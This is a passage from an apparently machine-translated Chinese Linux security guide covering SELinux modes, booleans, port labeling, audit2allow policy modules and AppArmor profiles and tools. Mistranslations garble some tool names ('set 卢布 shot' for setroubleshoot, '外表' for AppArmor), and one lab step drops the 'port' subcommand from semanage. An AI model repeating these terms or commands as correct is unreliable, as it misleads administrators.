将在第一次违规发生后停止该操作。当它发生时,SELinux 甚至看不到剩余的问题,它们也不会出现在`messages`日志文件中。如果你试图在强制模式下解决这些类型的问题,你会像谚语所说的狗追逐自己的尾巴。你会周而复始,一事无成。 - -在许可模式下,SELinux 允许违反策略的操作发生,但会记录下来。通过切换到许可模式并做一些事情来引发您所看到的问题,禁止的操作将会发生,但是 set 卢布 that 会将它们全部记录在`messages`文件中。这样,你将更好地了解你需要做什么来让事情正常运行。 - -首先,让我们使用`getenforce`来验证我们当前的模式是什么: - -```sh -[donnie@localhost ~]$ sudo getenforce -Enforcing -[donnie@localhost ~]$ -``` - -现在,让我们暂时将系统置于许可模式: - -```sh -[donnie@localhost ~]$ sudo setenforce 0 - -[donnie@localhost ~]$ sudo getenforce -Permissive -[donnie@localhost ~]$ -``` - -当我说暂时时,我的意思是这只会持续到你重新启动系统。重启后,您将回到强制模式。另外,注意`setenforce`后面的`0`表示我正在设置许可模式。完成故障排除后,要返回强制模式,请将 0 替换为 1: - -```sh -[donnie@localhost ~]$ sudo setenforce 1 - -[donnie@localhost ~]$ sudo getenforce -Enforcing -[donnie@localhost ~]$ -``` - -我们现在回到强制模式。 - -有时,您可能需要在系统重新启动后保持许可模式。这方面的一个例子是,如果你必须处理一个长期禁用 SELinux 的系统。在这种情况下,您不会希望将 SELinux 置于强制模式并重新启动。如果您尝试这样做,系统将需要很长时间才能正确创建使 SELinux 工作的文件和目录标签,并且系统可能会在完成之前锁定。通过首先将系统置于许可模式,您将避免系统锁定,尽管重新标记过程仍需要很长时间才能完成。 - -为了使许可模式在系统重新启动时保持不变,您将在`/etc/sysconfig`目录中编辑`selinux`文件。以下是默认情况下的样子: - -```sh -# This file controls the state of SELinux on the system. -# SELINUX= can take one of these three values: -# enforcing - SELinux security policy is enforced. -# permissive - SELinux prints warnings instead of enforcing. -# disabled - No SELinux policy is loaded. -SELINUX=enforcing -# SELINUXTYPE= can take one of three two values: -# targeted - Targeted processes are protected, -# minimum - Modification of targeted policy. Only selected processes are protected. -# mls - Multi Level Security protection. -SELINUXTYPE=targeted -``` - -您在这里看到的两件重要的事情是 SELinux 处于强制模式,并且它使用的是目标策略。要切换到许可模式,只需更改`SELINUX=`行,并保存文件: - -```sh -# This file controls the state of SELinux on the system. -# SELINUX= can take one of these three values: -# enforcing - SELinux security policy is enforced. -# permissive - SELinux prints warnings instead of enforcing. -# disabled - No SELinux policy is loaded. -SELINUX=permissive -# SELINUXTYPE= can take one of three two values: -# targeted - Targeted processes are protected, -# minimum - Modification of targeted policy. Only selected processes are protected. -# mls - Multi Level Security protection. -SELINUXTYPE=targeted -``` - -`sestatus`实用程序向我们展示了许多关于 SELinux 的有趣信息: - -```sh -[donnie@localhost ~]$ sudo sestatus -SELinux status: enabled -SELinuxfs mount: /sys/fs/selinux -SELinux root directory: /etc/selinux -Loaded policy name: targeted -Current mode: enforcing -Mode from config file: permissive -Policy MLS status: enabled -Policy deny_unknown status: allowed -Max kernel policy version: 28 -[donnie@localhost ~]$ -``` - -这里我们感兴趣的两个项目是当前模式和配置文件中的模式。通过将配置文件更改为许可,我们没有更改当前的运行模式。所以,我们仍然处于强制模式。除非我重新启动机器或者通过发出`sudo setenforce 0`命令手动切换,否则切换到许可状态不会发生。当然,你也不想永远处于放任模式。一旦您不再需要许可模式,请将配置文件更改回强制模式,并执行`sudo setenforce 1`以更改运行模式。 - -# 使用 SELinux 策略 - -到目前为止,我们所看到的只是当我们在文件上设置了不正确的 SELinux 类型时会发生什么,以及如何设置正确的类型。如果我们需要允许被活动的 SELinux 策略禁止的操作,我们可能会遇到另一个问题。 - -# 查看布尔值 - -布尔值是 SELinux 策略的一部分,每个布尔值代表一个二进制选择。在 SELinux 策略中,布尔值要么允许什么,要么禁止什么。要查看您系统上的所有 Booleans,请运行`getsebool -a`命令。(列表很长,这里只显示部分输出。): - -```sh -[donnie@localhost ~]$ getsebool -a -abrt_anon_write --> off -abrt_handle_event --> off -abrt_upload_watch_anon_write --> on -antivirus_can_scan_system --> off -antivirus_use_jit --> off -auditadm_exec_content --> on -. . . -. . . -zarafa_setrlimit --> off -zebra_write_config --> off -zoneminder_anon_write --> off -zoneminder_run_sudo --> off -[donnie@localhost ~]$ -``` - -要查看多个布尔值,必须使用`-a`开关。如果你刚好知道你想看的布尔型的名字,就把`-a`去掉,列出来。为了与我们已经讨论过的 Apache web 服务器主题保持一致,让我们看看我们是否允许 Apache 访问用户主目录中的文件: - -```sh -[donnie@localhost html]$ getsebool httpd_enable_homedirs -httpd_enable_homedirs --> off -[donnie@localhost html]$ -``` - -这个布尔值是`off`的事实意味着 Apache 服务器守护程序不允许访问用户主目录中的任何内容。这是一个重要的保护,你真的不想改变它。相反,只需将网络内容文件放在其他地方,这样就不必更改该布尔值。 - -最有可能的是,您很少想要查看整个列表,并且您可能不知道您想要查看的特定布尔值的名称。相反,您可能想要通过`grep`过滤输出,以便只查看某些东西。例如,要查看影响 web 服务器的所有布尔值,请执行以下操作: - -```sh -[donnie@localhost html]$ getsebool -a | grep 'http' -httpd_anon_write --> off -httpd_builtin_scripting --> on -httpd_can_check_spam --> off -httpd_can_connect_ftp --> off -httpd_can_connect_ldap --> off -. . . -. . . -httpd_use_nfs --> off -httpd_use_openstack --> off -httpd_use_sasl --> off -httpd_verify_dns --> off -named_tcp_bind_http_port --> off -prosody_bind_http_port --> off -[donnie@localhost html]$ -``` - -这也是一个相当长的列表,但是向下滚动一点,你会找到你要找的布尔型。 - -# 配置布尔值 - -实际上,你可能永远不会有理由允许用户在其主目录之外提供网络内容。更有可能的是,您将设置类似桑巴服务器的东西,这将允许 Windows 机器上的用户使用他们的图形 Windows 资源管理器来访问他们在 Linux 服务器上的主目录。但是,如果您设置了一个 Samba 服务器,而不使用 SELinux 做任何事情,用户会抱怨他们在 Samba 服务器的主目录中看不到任何文件。因为你是主动型的,你想避免听抱怨用户的痛苦,你肯定会继续配置 SELinux,让 Samba 守护程序访问用户的主目录。您可能不知道布尔值的确切名称,但您可以很容易地找到它,如下所示: - -```sh -[donnie@localhost html]$ getsebool -a | grep 'home' -git_cgi_enable_homedirs --> off -git_system_enable_homedirs --> off -httpd_enable_homedirs --> off -mock_enable_homedirs --> off -mpd_enable_homedirs --> off -openvpn_enable_homedirs --> on -samba_create_home_dirs --> off -samba_enable_home_dirs --> off -. . . -use_samba_home_dirs --> off -xdm_write_home --> off -[donnie@localhost html]$ -``` - -好吧,你知道布尔名中可能有`home`这个词,所以你过滤了这个词。大约在列表的一半,你会看到`samba_enable_home_dirs --> off`。您需要将此更改为`on`,以允许用户从他们的 Windows 机器访问他们的主目录: - -```sh -[donnie@localhost html]$ sudo setsebool samba_enable_home_dirs on - -[sudo] password for donnie: -[donnie@localhost html]$ getsebool samba_enable_home_dirs -samba_enable_home_dirs --> on -[donnie@localhost html]$ -``` - -用户现在可以访问他们应该能够访问的主目录,但前提是您必须重新启动系统。如果没有`-P`选项,您使用`setsebool`所做的任何更改都将只是暂时的。所以,让我们用`-P`来永久改变: - -```sh -[donnie@localhost html]$ sudo setsebool -P samba_enable_home_dirs on - -[donnie@localhost html]$ getsebool samba_enable_home_dirs -samba_enable_home_dirs --> on -[donnie@localhost html]$ -``` - -恭喜,您刚刚对 SELinux 策略进行了第一次更改。 - -# 保护您的网络服务器 - -再看看`getsebool -a | grep 'http'`命令的输出,你会发现大多数 httpd 相关的 Booleans 默认都是关闭的,只有少数是打开的。在设置网络服务器时,通常需要打开其中的两个。 - -如果你曾经需要建立一个带有某种基于 PHP 的内容管理系统的网站,比如 Joomla 或者 WordPress,你可能需要打开`httpd_unified` Boolean。关闭该布尔值后,Apache 网络服务器将无法与 PHP 引擎的所有组件正常交互: - -```sh -[donnie@localhost ~]$ getsebool httpd_unified -httpd_unified --> off - -[donnie@localhost ~]$ sudo setsebool -P httpd_unified on -[sudo] password for donnie: [donnie@localhost ~]$ getsebool httpd_unified -httpd_unified --> on -[donnie@localhost ~]$ -``` - -您通常需要打开的另一个布尔值是`httpd_can_sendmail`布尔值。如果你曾经需要一个网站通过表单发送邮件(或者如果你需要设置一个带有基于网络的前端的邮件服务器),你肯定需要将其设置为`on`: - -```sh -[donnie@localhost ~]$ getsebool httpd_can_sendmail -httpd_can_sendmail --> off - -[donnie@localhost ~]$ sudo setsebool -P httpd_can_sendmail on -[donnie@localhost ~]$ getsebool httpd_can_sendmail -httpd_can_sendmail --> on -[donnie@localhost ~]$ -``` - -另一方面,有一些 Booleans 是默认打开的,您可能需要考虑是否真的需要打开它们。例如,允许 CGI 脚本在 web 服务器上运行确实存在潜在的安全风险。如果入侵者以某种方式将恶意的 CGI 脚本上传到服务器并运行,结果可能会造成很大的损害。然而,出于某种奇怪的原因,默认的 SELinux 策略允许运行 CGI 脚本。如果您完全确定在您的服务器上托管网站的任何人都不需要运行 CGI 脚本,那么您可能需要考虑关闭这个布尔值: - -```sh -[donnie@localhost ~]$ getsebool httpd_enable_cgi -httpd_enable_cgi --> on - -[donnie@localhost ~]$ sudo setsebool -P httpd_enable_cgi off - -[donnie@localhost ~]$ getsebool httpd_enable_cgi -httpd_enable_cgi --> off -[donnie@localhost ~]$ -``` - -# 保护网络端口 - -系统上运行的每个网络守护程序都有一个特定的网络端口或一组分配给它的网络端口,它将在这些端口上侦听。`/etc/services`文件包含常见守护程序及其相关网络端口的列表,但并不妨碍有人配置守护程序来监听某些非标准端口。因此,如果没有某种机制来阻止它,一些偷偷摸摸的入侵者可能会植入某种恶意软件,导致守护进程监听非标准端口,可能会监听来自其主机的命令。 - -SELinux 只允许守护程序监听某些端口,从而防止此类恶意活动。使用`semanage`查看允许的端口列表: - -```sh -[donnie@localhost ~]$ sudo semanage port -l -SELinux Port Type Proto Port Number - -afs3_callback_port_t tcp 7001 -afs3_callback_port_t udp 7001 -afs_bos_port_t udp 7007 -. . . -. . . -zented_port_t udp 1229 -zookeeper_client_port_t tcp 2181 -zookeeper_election_port_t tcp 3888 -zookeeper_leader_port_t tcp 2888 -zope_port_t tcp 8021 -[donnie@localhost ~]$ -``` - -这是另一个很长的列表,所以我只显示了部分输出。不过,让我们把事情缩小一点。假设我只想查看 Apache 网络服务器可以监听的端口列表。为此,我用我的好朋友`grep`: - -```sh -[donnie@localhost ~]$ sudo semanage port -l | grep 'http' -[sudo] password for donnie: -http_cache_port_t tcp 8080, 8118, 8123, 10001-10010 -http_cache_port_t udp 3130 -http_port_t tcp 80, 81, 443, 488, 8008, 8009, 8443, 9000 -pegasus_http_port_t tcp 5988 -pegasus_https_port_t tcp 5989 -[donnie@localhost ~]$ -``` - -出现了几个`http`项目,但我只对`http_port_t`项目感兴趣,因为它影响了正常的 web 服务器操作。我们在这里看到 SELinux 将允许 Apache 监听端口`80`、`81`、`443`、`488`、`8008`、`8009`、`8443`和`9000`。由于 Apache 服务器是少数几个有正当理由添加非标准端口的守护程序之一,让我们用它来演示一下。 - -首先,让我们进入`/etc/httpd/conf/httpd.conf`文件,看看 Apache 当前正在监听的端口。搜索`Listen`,会看到下面一行: - -```sh -Listen 80 -``` - -我没有在这台机器上安装 SSL 模块,但是如果我安装了,我会在`/etc/httpd/conf.d`目录中有一个`ssl.conf`文件,有这样一行: - -```sh -Listen 443 -``` - -因此,对于正常的非加密网站连接,默认配置只有 Apache 在端口`80`上监听。为了安全、加密的网站连接,Apache 监听端口`443`。现在,让我们进入`httpd.conf`文件,将`Listen 80`更改为 SELinux 不允许的端口号,例如端口`82`: - -```sh -Listen 82 -``` - -保存文件后,我将重新启动 Apache 以读入新配置: - -```sh -[donnie@localhost ~]$ sudo systemctl restart httpd -Job for httpd.service failed because the control process exited with error code. See "systemctl status httpd.service" and "journalctl -xe" for details. -[donnie@localhost ~]$ -``` - -是的,我有一个问题。我将查看`/var/log/messages`文件,看看 set 卢布 shot 是否给了我一个线索: - -```sh -Nov 29 16:39:21 localhost python: SELinux is preventing /usr/sbin/httpd from name_bind access on the tcp_socket port 82.#012#012***** Plugin bind_ports (99.5 confidence) suggests ************************#012#012If you want to allow /usr/sbin/httpd to bind to network port 82#012Then you need to modify the port type.#012Do#012# semanage port -a -t PORT_TYPE -p tcp 82#012 where PORT_TYPE is one of the following: http_cache_port_t, http_port_t, jboss_management_port_t, jboss_messaging_port_t, ntop_port_t, puppet_port_t.#012#012***** Plugin catchall (1.49 confidence) suggests **************************#012#012If you believe that httpd should be allowed name_bind access on the port 82 tcp_socket by default.#012Then you should report this as a bug.#012You can generate a local policy module to allow this access.#012Do#012allow this access for now by executing:#012# ausearch -c 'httpd' --raw | audit2allow -M my-httpd#012# semodule -i my-httpd.pp#012 -``` - -详细说明 SELinux 如何阻止`httpd`绑定到端口`82`的问题在消息的第一行定义。我们看到的解决这个问题的第一个建议是使用`semanage`将端口添加到允许的端口列表中。那么,让我们来看看 Apache 端口的列表: - -```sh -[donnie@localhost ~]$ sudo semanage port -a 82 -t http_port_t -p tcp - -[donnie@localhost ~]$ sudo semanage port -l | grep 'http_port_t' -http_port_t tcp 82, 80, 81, 443, 488, 8008, 8009, 8443, 9000 -pegasus_http_port_t tcp 5988 -[donnie@localhost ~]$ -``` - -set 卢布 shot 消息中不清楚,但需要在`port -a`后指定要添加的端口号。`-t http_port_t`指定要添加端口的类型,`-p tcp`指定要使用 TCP 协议。 - -现在是真相大白的时候了。Apache 守护程序这次会启动吗?让我们看看: - -```sh -[donnie@localhost ~]$ sudo systemctl restart httpd -[sudo] password for donnie: -[donnie@localhost ~]$ sudo systemctl status httpd -● httpd.service - The Apache HTTP Server - Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled) - Active: active (running) since Wed 2017-11-29 20:09:51 EST; 7s ago - Docs: man:httpd(8) -. . . -. . . -``` - -它起作用了,我们获得了冷静。但是现在,我决定不再需要这个古怪的端口。删除它和添加它一样简单: - -```sh -[donnie@localhost ~]$ sudo semanage port -d 82 -t http_port_t -p tcp - -[donnie@localhost ~]$ sudo semanage port -l | grep 'http_port_t' -http_port_t tcp 80, 81, 443, 488, 8008, 8009, 8443, 9000 -pegasus_http_port_t tcp 5988 -[donnie@localhost ~]$ -``` - -我要做的就是把`port -a`换成`port -d`。当然,我仍然需要进入`/etc/httpd/conf/httpd.conf`文件将`Listen 82`改回`Listen 80`。 - -# 创建自定义策略模块 - -有时,您会遇到无法通过更改类型或设置布尔值来修复的问题。在这种情况下,您需要创建一个自定义策略模块,并使用`audit2allow`实用程序来完成。 - -以下是我几年前遇到的一个问题的截图,当时我正在帮助一个客户在 CentOS 7 上设置 Postfix 邮件服务器: - -![](img/5ce04076-8563-4eda-8a6f-6cdf450be80f.png) - -所以,出于一些我一直不理解的奇怪原因,SELinux 不允许邮件服务器的**邮件** **投递代理** ( **MDA** )组件 Dovecot 读取自己的`dict`文件。没有要更改的布尔值,也没有类型问题,所以 set 卢布 shot 建议我创建一个自定义策略模块。这很容易做到,但你需要注意的是,这在你的普通用户账户上对`sudo`不起作用。这是您只需转到 root 用户命令提示符,并且还需要在 root 用户的主目录中的极少数情况之一: - -```sh -sudo su - -``` - -在执行之前,一定要将 SELinux 置于许可模式,然后做一些事情来引发 SELinux 错误。这样,你会确信一个问题不会掩盖其他问题。 - -当您运行命令创建新的策略模块时,请确保用您自己选择的自定义策略名称替换`mypol`。在我的例子中,我命名了模块`dovecot_dict`,命令如下: - -```sh -grep dict /var/log/audit/audit.log | audit2allow -M dovecot_dict -``` - -我在这里做的是使用`grep`在`audit.log`文件中搜索包含单词`dict`的 SELinux 消息。然后,我将输出导入到`audit2allow`中,并使用`-M`选项创建一个名为`dovecot_dict`的定制模块。 - -创建新的策略模块后,我将其插入到 SELinux 策略中,如下所示: - -```sh -semodule -i dovecot_dict.pp -``` - -还有第二个问题需要另一个定制模块,但是我只是重复这个过程来产生另一个不同名称的模块。完成所有这些之后,我重新加载了 SELinux 策略,以便让我的新模块生效: - -```sh -semodule -R -``` - -在`semodule`中,`-R`开关代表重载,而不是递归,就像大多数 Linux 命令一样。 - -完成所有这些后,我将 SELinux 返回到强制模式,并退出回到我自己的用户帐户。我测试了设置,以确保我已经解决了问题。 - -当然,您也要记住,您不希望每次在日志文件中看到`sealert`消息时,都只是修改 SELinux 策略或上下文。例如,考虑一下我的 Oracle Linux 7 机器的`messages`文件中的这个片段,我设置它主要是为了运行 Docker 和 Docker 容器: - -```sh -Jun 8 19:32:17 docker-1 setroubleshoot: SELinux is preventing /usr/bin/docker from getattr access on the file /etc/exports. For complete SELinux messages. run sealert -l b267929a-d3ad-45d5-806e-907449fc2739 -Jun 8 19:32:17 docker-1 python: SELinux is preventing /usr/bin/docker from getattr access on the file /etc/exports.#012#012***** Plugin catchall (100\. confidence) suggests **************************#012#012If you believe that docker should be allowed getattr access on the exports file by default.#012Then you should report this as a bug.#012You can generate a local policy module to allow this access.#012Do#012allow this access for now by executing:#012# grep docker /var/log/audit/audit.log | audit2allow -M mypol#012# semodule -i mypol.pp#012 -Jun 8 19:32:17 docker-1 setroubleshoot: SELinux is preventing /usr/bin/docker from getattr access on the file /etc/shadow.rpmnew. For complete SELinux messages. run sealert -l -. . . -``` - -这些消息是由早期版本的 Docker 试图访问主机上的资源引起的。如您所见,Docker 试图访问一些相当敏感的文件,SELinux 阻止 Docker 这样做。有了 Docker,而没有某种 MAC,对于一个正常的、没有特权的用户来说,从 Docker 容器中逃脱并拥有主机系统上的根用户权限可能是一件小事。自然,当您看到这些类型的消息时,您不想自动告诉 SELinux 允许被禁止的操作。可能只是 SELinux 阻止了真正糟糕的事情发生。 - -Be sure to get your copy of The SELinux Coloring Book from [https://opensource.com/business/13/11/selinux-policy-guide.](https://opensource.com/business/13/11/selinux-policy-guide) - -# 动手实验–SELinux 布尔值和端口 - -在本实验中,您将看到让 Apache 尝试监听未授权端口的影响: - -1. 查看 SELinux 允许 Apache web 服务器守护程序使用的端口: - -```sh -sudo semanage port -l | grep 'http' -``` - -2. 在你喜欢的文本编辑器中打开`/etc/httpd/conf/httpd.conf`文件。找到写着`Listen 80`的那行,把它改成`Listen 82`。通过输入以下内容重新启动 Apache: - -```sh -sudo systemctl restart httpd -``` - -3. 通过输入以下内容查看您收到的错误消息: - -```sh -sudo tail -20 /var/log/messages -``` - -4. 将端口`82`添加到授权端口列表中,重新启动 Apache: - -```sh -sudo semanage port -a 82 -t http_port_t -p tcp -sudo semanage port -l -sudo systemctl restart httpd -``` - -5. 删除您刚刚添加的端口: - -```sh -sudo semanage -d 82 -t http_port_t -p tcp -``` - -6. 回到`/etc/httpd/conf/httpd.conf`档,将`Listen 82`改回`Listen 80`。重新启动 Apache 守护程序以恢复正常操作。 -7. 实验室结束。 - -好了,您已经看到了 SELinux 如何保护您免受各种不良事件的影响,以及如何解决出错的问题。让我们把注意力转向 AppArmor。 - -# AppArmor 如何让系统管理员受益 - -AppArmor 是随 SUSE 和 Linux 的 Ubuntu 系列一起安装的 MAC 系统。尽管它的设计与 SELinux 的工作基本相同,但它的操作模式却有很大的不同: - -* SELinux 标记所有系统进程和所有对象,如文件、目录或网络端口。对于文件和目录,SELinux 将标签作为扩展属性存储在各自的索引节点中。(信息节点是基本的文件系统组件,包含文件的所有信息,除了文件名。) -* apparemor 使用路径名强制,这意味着您指定希望 apparemor 控制的可执行文件的路径。这样,就不需要在文件或目录的扩展属性中插入标签。 -* 有了 SELinux,您可以开箱即用地获得系统范围的保护。 -* 借助 AppArmor,您可以为每个单独的应用创建一个配置文件。 -* 无论是 SELinux 还是 AppArmor,您可能偶尔会发现自己不得不从头开始创建自定义策略模块,尤其是在处理第三方应用或国产软件时。使用 apparemor,这更容易,因为编写 apparemor 配置文件的语法比编写 SELinux 策略的语法容易得多。而 AppArmor 自带的实用程序可以帮助你自动化这个过程。 -* 正如 SELinux 可以做到的那样,AppArmor 可以帮助防止恶意行为者破坏您的一天,并可以帮助保护用户数据。 - -所以,你看到 SELinux 和 AppArmor 都有优点和缺点,很多 Linux 管理员对他们更喜欢哪一个有强烈的感觉。(为了避免遭受战火,我会克制自己的偏好。)此外,请注意,即使我们正在使用 Ubuntu 虚拟机,我在这里提供的信息,除了 Ubuntu 特定的软件包安装命令之外,也适用于 SUSE Linux 发行版。 - -# 查看设备配置文件 - -在`/etc/apparmor.d`目录中,你会看到你的系统的 AppArmor 配置文件。(SELinux 人说政策,但 AppArmor 人说简介。): - -```sh -donnie@ubuntu3:/etc/apparmor.d$ ls -l -total 72 -drwxr-xr-x 5 root root 4096 Oct 29 15:21 abstractions -drwxr-xr-x 2 root root 4096 Nov 15 09:34 cache -drwxr-xr-x 2 root root 4096 Oct 29 14:43 disable -. . . -. . . --rw-r--r-- 1 root root 125 Jun 14 16:15 usr.bin.lxc-start --rw-r--r-- 1 root root 281 May 23 2017 usr.lib.lxd.lxd-bridge-proxy --rw-r--r-- 1 root root 17667 Oct 18 05:04 usr.lib.snapd.snap-confine.real --rw-r--r-- 1 root root 1527 Jan 5 2016 usr.sbin.rsyslogd --rw-r--r-- 1 root root 1469 Sep 8 15:27 usr.sbin.tcpdump -donnie@ubuntu3:/etc/apparmor.d$ -``` - -`sbin.dhclient`文件和`usr.*`文件都是 AppArmor 配置文件。你可以在`lxc`和`lxc-containers`子目录中找到一些其他的配置文件。尽管如此,应用配置文件的方式并不多。 - -For some reason, a default installation of OpenSUSE comes with more installed profiles than Ubuntu Server does. To install more profiles on Ubuntu, just run this command: - -`sudo apt install apparmor-profiles apparmor-profiles-extra` - -在`abstractions`子目录中,您会发现不是完整配置文件但可以包含在完整配置文件中的文件。这些抽象文件中的任何一个都可以包含在任意数量的概要文件中。这样,您不必在每次创建概要文件时都反复编写相同的代码。只需包含一个抽象文件。 - -If you're familiar with programming concepts, just think of abstraction files as `include` files by another name. - -以下是抽象文件的部分列表: - -```sh -donnie@ubuntu3:/etc/apparmor.d/abstractions$ ls -l -total 320 --rw-r--r-- 1 root root 695 Mar 15 2017 apache2-common -drwxr-xr-x 2 root root 4096 Oct 29 15:21 apparmor_api --rw-r--r-- 1 root root 308 Mar 15 2017 aspell --rw-r--r-- 1 root root 1582 Mar 15 2017 audio -. . . -. . . --rw-r--r-- 1 root root 705 Mar 15 2017 web-data --rw-r--r-- 1 root root 739 Mar 15 2017 winbind --rw-r--r-- 1 root root 585 Mar 15 2017 wutmp --rw-r--r-- 1 root root 1819 Mar 15 2017 X --rw-r--r-- 1 root root 883 Mar 15 2017 xad --rw-r--r-- 1 root root 673 Mar 15 2017 xdg-desktop -donnie@ubuntu3:/etc/apparmor.d/abstractions$ -``` - -为了了解 AppArmor 规则是如何工作的,让我们查看一下`web-data`抽象文件: - -```sh - /srv/www/htdocs/ r, - /srv/www/htdocs/** r, - # virtual hosting - /srv/www/vhosts/ r, - /srv/www/vhosts/** r, - # mod_userdir - @{HOME}/public_html/ r, - @{HOME}/public_html/** r, - - /srv/www/rails/*/public/ r, - /srv/www/rails/*/public/** r, - - /var/www/html/ r, - /var/www/html/** r, -``` - -这个文件只是允许 Apache 守护程序读取文件的目录列表。让我们分解一下: - -* 请注意,每个规则都以`r,`结尾,这表示我们希望 Apache 对每个列出的目录具有读取权限。还要注意,每个规则都必须以逗号结束。 -* `/srv/www/htdocs/ r,`表示列出的目录本身对 Apache 具有读取权限。 -* `/srv/www.htdocs/* * r,``* *`通配符使该规则递归。换句话说,Apache 可以读取这个指定目录的所有子目录中的所有文件。 -* `# mod_userdir`如果安装了这个 Apache 模块,它允许 Apache 从用户主目录中的子目录中读取网络内容文件。接下来的两行也是如此。 -* `@{HOME}/public_html/ r,`和`@{HOME}/public_html/ r,``@{HOME}`变量允许该规则适用于任何用户的主目录。(您会在`/etc/apparmor.d/tunables/home`文件中看到这个变量的定义。) -* 请注意,没有具体的规则禁止 Apache 从其他位置读取。据了解,此处未列出的任何内容都是 Apache 网络服务器守护程序的禁区。 - -`tunables`子目录包含具有预定义变量的文件。您也可以使用该目录定义新变量或进行配置文件调整: - -```sh -donnie@ubuntu3:/etc/apparmor.d/tunables$ ls -l -total 56 --rw-r--r-- 1 root root 624 Mar 15 2017 alias --rw-r--r-- 1 root root 376 Mar 15 2017 apparmorfs --rw-r--r-- 1 root root 804 Mar 15 2017 dovecot --rw-r--r-- 1 root root 694 Mar 15 2017 global --rw-r--r-- 1 root root 983 Mar 15 2017 home -. . . -. . . --rw-r--r-- 1 root root 440 Mar 15 2017 proc --rw-r--r-- 1 root root 430 Mar 15 2017 securityfs --rw-r--r-- 1 root root 368 Mar 15 2017 sys --rw-r--r-- 1 root root 868 Mar 15 2017 xdg-user-dirs -drwxr-xr-x 2 root root 4096 Oct 29 15:02 xdg-user-dirs.d -donnie@ubuntu3:/etc/apparmor.d/tunables$ -``` - -空间不允许我给你展示如何从头开始写个人简介的细节;得益于我们将在下一节中介绍的实用程序套件,您可能永远不需要这样做。尽管如此,为了让您更好地理解 AppArmor 是如何工作的,以下是一些示例规则的图表,您可以在任何给定的配置文件中找到这些规则: - -| **规则** | **解释** | -| `/var/run/some_program.pid rw,` | 该进程将对此进程标识文件拥有读写权限。 | -| `/etc/ld.so.cache r,` | 进程将对此文件拥有读取权限。 | -| `/tmp/some_program.* l,` | 该过程将能够创建和删除名称为`some_program`的链接。 | -| `/bin/mount ux` | 该进程具有`mount`实用程序的可执行权限,该实用程序将不受约束地运行。(无约束意味着没有明显的轮廓。) | - -现在您已经了解了 apparemor 配置文件,让我们来看看一些基本的 apparemor 实用程序。 - -# 使用 AppArmor 命令行实用程序 - -你是否拥有所有你需要的 AppArmor 实用程序将取决于你有哪个 Linux 发行版。在我的 OpenSUSE Leap 工作站上,实用程序开箱即用。在我的 Ubuntu 服务器虚拟机上,我必须自己安装它们: - -```sh -sudo apt install apparmor-utils -``` - -首先,我们来看看 AppArmor 在 Ubuntu 机器上的状态。由于这是一个相当长的输出,我们将在部分中查看它。这里是第一部分: - -```sh -donnie@ubuntu5:~$ sudo aa-status -[sudo] password for donnie: - -apparmor module is loaded. -13 profiles are loaded. -13 profiles are in enforce mode. - /sbin/dhclient - /usr/bin/lxc-start - /usr/lib/NetworkManager/nm-dhcp-client.action - /usr/lib/NetworkManager/nm-dhcp-helper - /usr/lib/connman/scripts/dhclient-script - /usr/lib/snapd/snap-confine - /usr/lib/snapd/snap-confine//mount-namespace-capture-helper -. . . -. . . -``` - -这里要注意的第一件事是,AppArmor 有一个强制模式和一个投诉模式。这里显示的强制模式与 SELinux 中的强制模式执行相同的工作。它防止系统进程做活动策略不允许的事情,并记录任何违规。 - -现在,这是第二部分: - -```sh -. . . -. . . -0 profiles are in complain mode. -1 processes have profiles defined. -1 processes are in enforce mode. - /usr/sbin/mysqld (679) -0 processes are in complain mode. -0 processes are unconfined but have a profile defined. -donnie@ubuntu5:~$ -``` - -抱怨模式与 SELinux 中的许可模式相同。它允许进程执行活动策略禁止的操作,但它会将这些操作记录在`/var/log/audit/audit.log`文件或系统日志文件中,具体取决于您是否安装了`auditd`。(与红帽类型的发行版不同,`auditd`默认情况下不会安装在 Ubuntu 上。)您可以使用投诉模式来帮助排除故障或测试新的配置文件。 - -我们在这里看到的大多数强制模式配置文件要么与网络管理有关,要么与`lxc`容器管理有关。我们看到的两个例外是`snapd`的两个配置文件,它是使快照打包技术工作的守护程序。第三个例外是`mysqld`的简介。 - -Snap packages are universal binary files that are designed to work on multiple distributions. Snap technology is currently available for Ubuntu and Fedora. - -奇怪的是,当您在 Ubuntu 上安装一个守护程序包时,您有时会获得该守护程序的预定义概要文件,有时不会。即使您安装的软件包附带了配置文件,它有时已经处于强制模式,有时没有。例如,如果您正在设置一个**域名服务** ( **域名系统**)服务器,并为其安装了`bind9`软件包,您将获得一个已经处于强制模式的 AppArmor 配置文件。如果您正在设置一个数据库服务器并安装`mysql-server`包,您还将获得一个已经处于强制模式的工作配置文件。 - -但是,如果您正在设置一个数据库服务器,并且您更喜欢安装`mariadb-server`而不是`mysql-server`,您将获得一个完全禁用且无法启用的 AppArmor 配置文件。当您查看与`mariadb-server`软件包一起安装的`usr.sbin.mysqld`配置文件时,您将看到以下内容: - -```sh -# This file is intentionally empty to disable apparmor by default for newer -# versions of MariaDB, while providing seamless upgrade from older versions -# and from mysql, where apparmor is used. -# -# By default, we do not want to have any apparmor profile for the MariaDB -# server. It does not provide much useful functionality/security, and causes -# several problems for users who often are not even aware that apparmor -# exists and runs on their system. -# -# Users can modify and maintain their own profile, and in this case it will -# be used. -# -# When upgrading from previous version, users who modified the profile -# will be promptet to keep or discard it, while for default installs -# we will automatically disable the profile. -``` - -好吧,很明显,外表并不适合所有的事情。(不管是谁写的,都需要上拼写课。) - -然后是桑巴,这是一个特殊的例子,在很多方面都是如此。当你安装`samba`包来设置一个 Samba 服务器时,你根本得不到任何 AppArmor 配置文件。对于 Samba 和其他几个不同的应用,您需要分别安装 AppArmor 配置文件: - -```sh -sudo apt install apparmor-profiles apparmor-profiles-extra -``` - -当您安装这两个配置文件包时,配置文件都将处于抱怨模式。没关系,因为我们有一个方便的工具可以让它们进入强制模式。由于 Samba 有两个我们需要保护的不同守护程序,因此我们需要将两个不同的配置文件置于强制模式: - -```sh -donnie@ubuntu5:/etc/apparmor.d$ ls *mbd -usr.sbin.nmbd usr.sbin.smbd -donnie@ubuntu5:/etc/apparmor.d$ -``` - -我们将使用`aa-enforce`为这两个配置文件激活强制模式: - -```sh -donnie@ubuntu5:/etc/apparmor.d$ sudo aa-enforce /usr/sbin/nmbd usr.sbin.nmbd -Setting /usr/sbin/nmbd to enforce mode. -Setting /etc/apparmor.d/usr.sbin.nmbd to enforce mode. - -donnie@ubuntu5:/etc/apparmor.d$ sudo aa-enforce /usr/sbin/smbd usr.sbin.smbd -Setting /usr/sbin/smbd to enforce mode. -Setting /etc/apparmor.d/usr.sbin.smbd to enforce mode. 